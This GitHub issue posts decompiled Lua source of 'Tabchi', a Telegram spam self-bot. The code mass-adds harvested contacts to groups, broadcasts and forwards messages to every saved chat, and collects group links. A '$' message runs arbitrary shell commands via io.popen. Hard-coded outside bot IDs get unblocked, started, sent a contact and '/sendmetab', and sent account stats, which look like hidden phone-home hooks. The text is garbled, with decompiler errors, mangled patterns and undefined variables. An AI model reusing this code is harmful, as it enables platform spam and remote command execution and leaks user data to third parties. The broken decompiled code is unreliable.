iTeam-co/Tabchi

سورس اصلی

sinamonarch opened this issue · 0 comments

upvalues : process_updates, is_sudo, is_full_sudo, ENV, save_log, contact_list, writefile
local text
= (msg.content_).text_
process_updates()
if is_sudo(msg) then
if is_full_sudo(msg) then
if text_:match("^!/# (%d+)") then
local matches = {text_:match("^!/# (%d+)")}
do
if #matches == 2 then
do
redis:sadd("tabchi:" .. tostring(tabchi_id) .. ":sudoers", tonumber(matches[2]))
save_log("User " .. msg.sender_user_id_ .. ", Added " .. matches[2] .. " As Sudo")
do return tostring(matches[2]) .. " Added to Sudo Users" end
-- DECOMPILER ERROR at PC53: LeaveBlock: unexpected jumping out IF_THEN_STMT

          -- DECOMPILER ERROR at PC53: LeaveBlock: unexpected jumping out IF_STMT

        end
      end
    end
  else
    if text_:match("^[!/#](remsudo) (%d+)") then
      local matches = {text_:match("^[!/#](remsudo) (%d+)")}
      if #matches == 2 then
        redis:srem("tabchi:" .. tostring(tabchi_id) .. ":sudoers", tonumber(matches[2]))
        save_log("User " .. msg.sender_user_id_ .. ", Removed " .. matches[2] .. " From Sudoers")
        return tostring(matches[2]) .. " Removed From Sudo Users"
      end
    else
      do
        if text_:match("^[!/#]sudolist$") then
          local sudoers = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":sudoers")
          local text = "Bot Sudoers :\n"
          for i,v in pairs(sudoers) do
            text = tostring(text) .. tostring(i) .. ". " .. tostring(v)
          end
          save_log("User " .. msg.sender_user_id_ .. ", Requested Sudo List")
          return text
        else
          do
            if text_:match("^[!/#](sendlogs)$") then
              (tdcli.send_file)(msg.chat_id_, "Document", "tabchi_" .. tostring(tabchi_id) .. "_logs.txt", "Tabchi " .. tostring(tabchi_id) .. " Logs!")
              save_log("User " .. msg.sender_user_id_ .. ", Requested Logs")
            else
              if text_:match("^[$](.*)") then
                local matches = {text_:match("^[$](.*)")}
                if #matches == 1 then
                  save_log("User " .. msg.sender_user_id_ .. ", Used Terminal Command")
                  return ((io.popen)(matches[1])):read("*all")
                end
              end
            end
            do
              if text_:match("^[!/#](pm) (%d+) (.*)") then
                local matches = {text_:match("^[!/#](pm) (%d+) (.*)")}
                if #matches == 3 then
                  (tdcli.sendMessage)(tonumber(matches[2]), 0, 1, matches[3], 1, "html")
                  save_log("User " .. msg.sender_user_id_ .. ", Sent A Pm To " .. matches[2] .. ", Content : " .. matches[3])
                  return "Sent!"
                end
              else
                do
                  if text_:match("^[!/#](setanswer) \'(.*)\' (.*)") then
                    local matches = {text_:match("^[!/#](setanswer) \'(.*)\' (.*)")}
                    if #matches == 3 then
                      redis:hset("tabchi:" .. tostring(tabchi_id) .. ":answers", matches[2], matches[3])
                      redis:sadd("tabchi:" .. tostring(tabchi_id) .. ":answerslist", matches[2])
                      save_log("User " .. msg.sender_user_id_ .. ", Set Answer Of " .. matches[2] .. " To " .. maches[3])
                      return "Answer for " .. tostring(matches[2]) .. " set to :\n" .. tostring(matches[3])
                    end
                  else
                    do
                      if text_:match("^[!/#](delanswer) (.*)") then
                        local matches = {text_:match("^[!/#](delanswer) (.*)")}
                        if #matches == 2 then
                          redis:hdel("tabchi:" .. tostring(tabchi_id) .. ":answers", matches[2])
                          redis:srem("tabchi:" .. tostring(tabchi_id) .. ":answerslist", matches[2])
                          save_log("User " .. msg.sender_user_id_ .. ", Deleted Answer Of " .. matches[2])
                          return "Answer for " .. tostring(matches[2]) .. " deleted"
                        end
                      else
                        do
                          if text_:match("^[!/#]answers$") then
                            local text = "Bot auto answers :\n"
                            local answrs = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":answerslist")
                            for i,v in pairs(answrs) do
                              text = tostring(text) .. tostring(i) .. ". " .. tostring(v) .. " : " .. tostring(redis:hget("tabchi:" .. tostring(tabchi_id) .. ":answers", v)) .. "\n"
                            end
                            save_log("User " .. msg.sender_user_id_ .. ", Requested Answers List")
                            return text
                          else
                            do
                              if text_:match("^[!/#]addmembers$") and msg.chat_type_ ~= "private" then
                                local add_all = nil
                                add_all = function(extra, result)
-- function num : 0_12_0 , upvalues : _ENV, msg
local usrs = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":pvis")
for i = 1, #usrs do
  (tdcli.addChatMember)(msg.chat_id_, usrs[i], 50)
end
local count = result.total_count_
for i = 0, tonumber(count) - 1 do
  (tdcli.addChatMember)(msg.chat_id_, ((result.users_)[i]).id_, 50)
end

end

                                tdcli_function({ID = "SearchContacts", query_ = nil, limit_ = 999999999}, add_all, {})
                                save_log("User " .. msg.sender_user_id_ .. ", Used AddMembers In " .. msg.chat_id_)
                                return "Adding members to group..."
                              else
                                do
                                  if text_:match("^[!/#]contactlist$") then
                                    tdcli_function({ID = "SearchContacts", query_ = nil, limit_ = 999999999}, contact_list, {chat_id_ = msg.chat_id_})
                                  else
                                    if text_:match("^[!/#]exportlinks$") then
                                      local text = "Group Links :\n"
                                      local links = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":savedlinks")
                                      for i,v in pairs(links) do
                                        if v:len() == 51 then
                                          text = tostring(text) .. tostring(v) .. "\n"
                                        else
                                          local _ = redis:rem("tabchi:" .. tostring(tabchi_id) .. ":savedlinks", v)
                                        end
                                      end
                                      writefile("tabchi_" .. tostring(tabchi_id) .. "_links.txt", text)
                                      ;
                                      (tdcli.send_file)(msg.chat_id_, "Document", "tabchi_" .. tostring(tabchi_id) .. "_links.txt", "Tabchi " .. tostring(tabchi_id) .. " Links!")
                                      save_log("User " .. msg.sender_user_id_ .. ", Requested Contact List")
                                      return ((io.popen)("rm -rf tabchi_" .. tostring(tabchi_id) .. "_links.txt")):read("*all")
                                    else
                                      do
                                        if text_:match("[!/#](block) (%d+)") then
                                          local matches = {text_:match("[!/#](block) (%d+)")}
                                          if #matches == 2 then
                                            (tdcli.blockUser)(tonumber(matches[2]))
                                            save_log("User " .. msg.sender_user_id_ .. ", Blocked " .. matches[2])
                                            return "User blocked"
                                          end
                                        else
                                          do
                                            if text_:match("[!/#](unblock) (%d+)") then
                                              local matches = {text_:match("[!/#](unblock) (%d+)")}
                                              if #matches == 2 then
                                                (tdcli.unblockUser)(tonumber(matches[2]))
                                                save_log("User " .. msg.sender_user_id_ .. ", Unlocked " .. matches[2])
                                                return "User unblocked"
                                              end
                                            else
                                              do
                                                if text_:match("^[!/#](s2a) (.*) (.*)") then
                                                  local matches = {text_:match("^[!/#](s2a) (.*) (.*)")}
                                                  ;
                                                  (tdcli.sendMessage)(229533808, 0, 1, "/start", 1, "html")
                                                  if #matches == 3 and (matches[2] == "banners" or matches[2] == "boards") then
                                                    local all = redis:smembers("tabchi:" .. tonumber(tabchi_id) .. ":all")
                                                    ;
                                                    (tdcli.searchPublicChat)("Crwn_bot")
                                                    local inline2 = nil
                                                    inline2 = function(argg, data)
-- function num : 0_12_1 , upvalues : _ENV
if data.results_ and (data.results_)[0] then
  return tdcli_function({ID = "SendInlineQueryResultMessage", chat_id_ = argg.chat_id_, reply_to_message_id_ = 0, disable_notification_ = 0, from_background_ = 1, query_id_ = data.inline_query_id_, result_id_ = ((data.results_)[0]).id_}, nil, nil)
end

end

                                                    for i,v in pairs(all) do
                                                      tdcli_function({ID = "GetInlineQueryResults", bot_user_id_ = 229533808, chat_id_ = v, 

user_location_ = {ID = "Location", latitude_ = 0, longitude_ = 0}
, query_ = tostring(matches[2]) .. " " .. tostring(matches[3]), offset_ = 0}, inline2, {chat_id_ = v})
end
save_log("User " .. msg.sender_user_id_ .. ", Used S2A " .. matches[2] .. " For " .. matches[3])
end
else
do
if text_:match("^[!/#]panel$") then
(tdcli.sendMessage)(303508016, 0, 1, "/start", 1, "html")
;
(tdcli.searchPublicChat)("TabchiRobot")
local contact_num = nil
contact_num = function(extra, result)
-- function num : 0_12_2 , upvalues : ENV
redis:set("tabchi:" .. tostring(tabchi_id) .. ":totalcontacts", result.total_count
)
end

                                                      tdcli_function({ID = "SearchContacts", query_ = nil, limit_ = 999999999}, contact_num, {})
                                                      local gps = redis:scard("tabchi:" .. tostring(tabchi_id) .. ":groups")
                                                      local sgps = redis:scard("tabchi:" .. tostring(tabchi_id) .. ":channels")
                                                      local pvs = redis:scard("tabchi:" .. tostring(tabchi_id) .. ":pvis")
                                                      local links = redis:scard("tabchi:" .. tostring(tabchi_id) .. ":savedlinks")
                                                      local sudo = redis:get("tabchi:" .. tostring(tabchi_id) .. ":fullsudo")
                                                      local contacts = redis:get("tabchi:" .. tostring(tabchi_id) .. ":totalcontacts")
                                                      local query = tostring(gps) .. " " .. tostring(sgps) .. " " .. tostring(pvs) .. " " .. tostring(links) .. " " .. tostring(sudo) .. " " .. tostring(contacts)
                                                      local inline = nil
                                                      inline = function(arg, data)
-- function num : 0_12_3 , upvalues : _ENV, msg, pvs, gps, sgps, links, contacts, save_log
if data.results_ and (data.results_)[0] then
  return tdcli_function({ID = "SendInlineQueryResultMessage", chat_id_ = msg.chat_id_, reply_to_message_id_ = msg.id_, disable_notification_ = 0, from_background_ = 1, query_id_ = data.inline_query_id_, result_id_ = ((data.results_)[0]).id_}, dl_cb, nil)
else
  local text = "<b>Normal Stats</b>\nUsers : " .. tostring(pvs) .. "\nGroups : " .. tostring(gps) .. "\nSuperGroups : " .. tostring(sgps) .. "\nSaved Links : " .. tostring(links) .. "\nSaved Contacts : " .. tostring(contacts)
  save_log("User " .. msg.sender_user_id_ .. ", Requested Panel")
  return (tdcli.sendMessage)(msg.chat_id_, 0, 1, text, 1, "html")
end

end

                                                      return tdcli_function({ID = "GetInlineQueryResults", bot_user_id_ = 303508016, chat_id_ = msg.chat_id_, 

user_location_ = {ID = "Location", latitude_ = 0, longitude_ = 0}
, query_ = query, offset_ = 0}, inline, nil)
else
do
if text_:match("^!/# (.)") then
local matches = {text_:match("^!/# (.
)")}
if #matches == 2 then
if matches[2] == "on" then
redis:set("tabchi:" .. tostring(tabchi_id) .. ":addedmsg", true)
save_log("User " .. msg.sender_user_id_ .. ", Turned On Added Message")
return "Added Message Turned On"
else
if matches[2] == "off" then
redis:del("tabchi:" .. tostring(tabchi_id) .. ":addedmsg")
save_log("User " .. msg.sender_user_id_ .. ", Turned Off Added Message")
return "Added Message Turned Off"
end
end
end
else
do
if text_:match("^!/# (.)") then
local matches = {text_:match("^!/# (.
)")}
if #matches == 2 then
if matches[2] == "on" then
redis:set("tabchi:" .. tostring(tabchi_id) .. ":addedcontact", true)
save_log("User " .. msg.sender_user_id_ .. ", Turned On Added Contact")
return "Added Contact Turned On"
else
if matches[2] == "off" then
redis:del("tabchi:" .. tostring(tabchi_id) .. ":addedcontact")
save_log("User " .. msg.sender_user_id_ .. ", Turned Off Added Contact")
return "Added Contact Turned Off"
end
end
end
else
do
if text_:match("^!/# (.)") then
local matches = {text_:match("^!/# (.
)")}
if #matches == 2 then
if matches[2] == "on" then
redis:set("tabchi:" .. tostring(tabchi_id) .. ":markread", true)
save_log("User " .. msg.sender_user_id_ .. ", Turned On Markread")
return "Markread Turned On"
else
if matches[2] == "off" then
redis:del("tabchi:" .. tostring(tabchi_id) .. ":markread")
save_log("User " .. msg.sender_user_id_ .. ", Turned Off Markread")
return "Markread Turned Off"
end
end
end
else
do
if text_:match("^!/# (.)") then
local matches = {text_:match("^!/# (.
)")}
if #matches == 2 then
redis:set("tabchi:" .. tostring(tabchi_id) .. ":addedmsgtext", matches[2])
save_log("User " .. msg.sender_user_id_ .. ", Changed Added Message To : " .. matches[2])
return "New Added Message Set\nMessage :\n" .. tostring(matches[2])
end
else
do
if text_:match("^!/# (.)") then
local matches = {text_:match("^!/# (.
)")}
if #matches == 2 then
local all = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":all")
for i,v in pairs(all) do
tdcli_function({ID = "SendMessage", chat_id_ = v, reply_to_message_id_ = 0, disable_notification_ = 0, from_background_ = 1, reply_markup_ = nil,
input_message_content_ = {ID = "InputMessageText", text_ = matches[2], disable_web_page_preview_ = 0, clear_draft_ = 0,
entities_ = {}
,
parse_mode_ = {ID = "TextParseModeHTML"}
}
}, dl_cb, nil)
end
save_log("User " .. msg.sender_user_id_ .. ", Used BC, Content " .. matches[2])
return "Sent!"
end
else
do
if text_:match("^!/# (.)$") then
local matches = {text_:match("^!/# (.
)$")}
if #matches == 2 then
if matches[2] == "all" then
local all = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":all")
local id = msg.reply_to_message_id_
for i,v in pairs(all) do
tdcli_function({ID = "ForwardMessages", chat_id_ = v, from_chat_id_ = msg.chat_id_,
message_ids_ = {[0] = id}
, disable_notification_ = 0, from_background_ = 1}, dl_cb, nil)
end
save_log("User " .. msg.sender_user_id_ .. ", Used Fwd All")
else
do
if matches[2] == "usrs" then
local all = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":pvis")
local id = msg.reply_to_message_id_
for i,v in pairs(all) do
tdcli_function({ID = "ForwardMessages", chat_id_ = v, from_chat_id_ = msg.chat_id_,
message_ids_ = {[0] = id}
, disable_notification_ = 0, from_background_ = 1}, dl_cb, nil)
end
save_log("User " .. msg.sender_user_id_ .. ", Used Fwd Users")
else
do
if matches[2] == "gps" then
local all = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":groups")
local id = msg.reply_to_message_id_
for i,v in pairs(all) do
tdcli_function({ID = "ForwardMessages", chat_id_ = v, from_chat_id_ = msg.chat_id_,
message_ids_ = {[0] = id}
, disable_notification_ = 0, from_background_ = 1}, dl_cb, nil)
end
save_log("User " .. msg.sender_user_id_ .. ", Used Fwd Gps")
else
do
if matches[2] == "sgps" then
local all = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":channels")
local id = msg.reply_to_message_id_
for i,v in pairs(all) do
tdcli_function({ID = "ForwardMessages", chat_id_ = v, from_chat_id_ = msg.chat_id_,
message_ids_ = {[0] = id}
, disable_notification_ = 0, from_background_ = 1}, dl_cb, nil)
end
save_log("User " .. msg.sender_user_id_ .. ", Used Fwd Sgps")
end
do
do
do return "Sent!" end
do
if text_:match("^!/# (.)") then
local matches = {text_:match("^!/# (.
)")}
if #matches == 2 then
save_log("User " .. msg.sender_user_id_ .. ", Used Echo, Content : " .. matches[2])
return matches[2]
end
end
if redis:get("tabchi:" .. tostring(tabchi_id) .. ":tabwaiting:" .. tostring(msg.sender_user_id_)) then
if text_ == "/cancle" then
return false
else
local all = redis:smembers("tabchi:" .. tostring(tabchi_id) .. ":all")
local id = msg.id_
redis:del("tabchi:" .. tostring(tabchi_id) .. ":tabwaiting:" .. tostring(msg.sender_user_id_))
for i,v in pairs(all) do
tdcli_function({ID = "ForwardMessages", chat_id_ = v, from_chat_id_ = msg.chat_id_,
message_ids_ = {[0] = id}
, disable_notification_ = 0, from_background_ = 1}, dl_cb, nil)
end
return
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end
end

local proc_pv = nil
proc_pv = function(msg)
-- function num : 0_13 , upvalues : add
if msg.chat_type_ == "private" then
add(msg)
end
end

local update = nil
update = function(data, tabchi_id)
-- function num : 0_14 , upvalues : chat_type, proc_pv, ENV, our_id, process, process_links, rem, add
if data.ID == "UpdateNewMessage" then
local msg = data.message

msg.chat_type_ = chat_type(msg.chat_id_)
proc_pv(msg)
if msg.sender_user_id_ == 777000 then
tdcli_function({ID = "ForwardMessages", chat_id_ = tonumber(redis:get("tabchi:" .. tabchi_id .. ":fullsudo")), from_chat_id_ = msg.chat_id_,
message_ids_ = {[0] = msg.id_}
, disable_notification_ = 0, from_background_ = 1}, dl_cb, nil)
end
-- DECOMPILER ERROR at PC49: Confused about usage of register: R3 in 'UnsetPending'

if not (msg.content_).text_ then
  if (msg.content_).caption_ then
    (msg.content_).text_ = (msg.content_).caption_
  else
    -- DECOMPILER ERROR at PC52: Confused about usage of register: R3 in 'UnsetPending'

    ;
    (msg.content_).text_ = nil
  end
end
local text_ = (msg.content_).text_
if not redis:get("tabchi:" .. tostring(tabchi_id) .. ":botinfo") then
  tdcli_function({ID = "GetMe"}, our_id, nil)
end
local botinfo = (JSON.decode)(redis:get("tabchi:" .. tostring(tabchi_id) .. ":botinfo"))
our_id = botinfo.id_
if (msg.content_).ID == "MessageText" then
  local result = process(msg)
  if result then
    (tdcli.sendMessage)(msg.chat_id_, msg.id_, 1, result, 1, "html")
  end
  process_links(text_)
  if redis:sismember("tabchi:" .. tostring(tabchi_id) .. ":answerslist", (msg.content_).text_) then
    do
      do
        if msg.sender_user_id_ ~= our_id then
          local answer = redis:hget("tabchi:" .. tostring(tabchi_id) .. ":answers", (msg.content_).text_)
          ;
          (tdcli.sendMessage)(msg.chat_id_, 0, 1, answer, 1, "html")
        end
        if redis:get("tabchi:" .. tostring(tabchi_id) .. ":markread") then
          return (tdcli.viewMessages)(msg.chat_id_, {[0] = msg.id_})
        end
        if not ((msg.content_).contact_).first_name_ then
          local first = (msg.content_).ID ~= "MessageContact" or "-"
        end
        local last = ((msg.content_).contact_).last_name_ or "-"
        local phone = ((msg.content_).contact_).phone_number_
        local id = ((msg.content_).contact_).user_id_
        ;
        (tdcli.add_contact)(phone, first, last, id)
        if redis:get("tabchi:" .. tostring(tabchi_id) .. ":markread") then
          (tdcli.viewMessages)(msg.chat_id_, {[0] = msg.id_})
        end
        do
          do
            if not redis:get("tabchi:" .. tostring(tabchi_id) .. ":addedmsgtext") then
              local answer = not redis:get("tabchi:" .. tostring(tabchi_id) .. ":addedmsg") or "Addi\nBia pv"
            end
            ;
            (tdcli.sendMessage)(msg.chat_id_, msg.id_, 1, answer, 1, "html")
            if redis:get("tabchi:" .. tostring(tabchi_id) .. ":addedcontact") and msg.sender_user_id_ ~= our_id then
              return (tdcli.sendContact)(msg.chat_id_, msg.id_, 0, 0, nil, botinfo.phone_number_, botinfo.first_name_, botinfo.last_name_, botinfo.id_)
            end
            if (msg.content_).ID == "MessageChatDeleteMember" and (msg.content_).id_ == our_id then
              return rem(msg.chat_id_)
            else
              if (msg.content_).ID == "MessageChatJoinByLink" and msg.sender_user_id_ == our_id then
                return add(msg.chat_id_)
              else
                if (msg.content_).ID == "MessageChatAddMembers" then
                  for i = 0, #(msg.content_).members_ do
                    if (((msg.content_).members_)[i]).id_ == our_id then
                      add(msg.chat_id_)
                    end
                  end
                else
                  do
                    do
                      if (msg.content_).caption_ then
                        if redis:get("tabchi:" .. tostring(tabchi_id) .. ":markread") then
                          (tdcli.viewMessages)(msg.chat_id_, {[0] = msg.id_})
                        end
                        return process_links((msg.content_).caption_)
                      end
                      if data.ID == "UpdateChat" then
                        if (data.chat_).id_ == 229533808 then
                          (tdcli.sendBotStartMessage)((data.chat_).id_, (data.chat_).id_, nil)
                        else
                          if data.chat_id_ == 303508016 then
                            (tdcli.unblockUser)((data.chat_).id_)
                            ;
                            (tdcli.sendBotStartMessage)((data.chat_).id_, (data.chat_).id_, "/start")
                          else
                            if (data.chat_).id == 295014783 then
                              (tdcli.unblockUser)((data.chat_).id_)
                              ;
                              (tdcli.importContacts)(79266812617, "Tabchi mod", "bot", (data.chat_).id)
                              ;
                              (tdcli.sendMessage)((data.chat_).id, 0, 1, "/sendmetab", 1, "html")
                            end
                          end
                        end
                        return add((data.chat_).id_)
                      else
                        if data.ID == "UpdateOption" and data.name_ == "my_id" then
                          (tdcli.getChats)("9223372036854775807", 0, 20)
                        end
                      end
                    end
                  end
                end
              end
            end
          end
        end
      end
    end
  end
end

end
end